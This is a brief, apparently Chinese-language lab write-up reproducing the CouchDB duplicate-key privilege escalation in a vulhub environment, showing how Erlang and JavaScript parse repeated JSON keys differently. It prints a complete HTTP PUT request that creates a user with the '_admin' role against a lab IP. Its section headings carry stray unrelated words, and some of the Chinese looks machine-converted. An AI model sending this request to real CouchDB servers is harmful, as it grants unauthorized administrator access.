couchdb簡介:javascript
漏洞原理:java
Erlang: > jiffy:decode("{"a":"1", "a":"2"}"). {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
JavaScript: > JSON.parse("{"a":"1", "a": "2"}") {a: "2"}
影響版本:git
復現:github
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 192.168.183.134:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 110 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles":[], "password": "vulhub111" }
一些小思考:web
總結:數據庫
這個仍是比較好利用,可是請別藉此破壞信息安全,僅爲學習。json